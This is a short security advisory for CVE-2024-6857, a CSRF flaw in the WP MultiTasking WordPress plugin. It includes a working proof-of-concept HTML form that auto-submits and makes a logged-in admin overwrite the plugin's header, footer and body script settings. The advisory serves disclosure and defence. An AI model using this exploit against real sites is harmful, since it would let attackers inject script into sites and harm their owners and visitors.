WP MultiTasking <= 0.1.12 – Header/Footer/Body Script Update via CSRF | CVE 2024-6857

Description

The plugin does not have CSRF check when updating its Header, Footer and Body Script Settings, which could allow attackers to make logged admins perform such action via a CSRF attack

Proof of Concept

Make a logged in admin open an HTML file containing:

```
<form id="csrfForm" action="https://www.example.com/wp-admin/admin.php?page=wpmt_headerfooterscripts" method="post">
<input type="hidden" name="wpmt_insert_header" value="Header - Malicious code">
<input type="hidden" name="wpmt_insert_body" value="Body - Malicious code">
<input type="hidden" name="wpmt_insert_footer" value="Footer - Malicious code">
<input type="hidden" name="save" value="Save changes">
<input type="hidden" name="action" value="save">
</form>
<script>
document.getElementById('csrfForm').submit();
</script>
```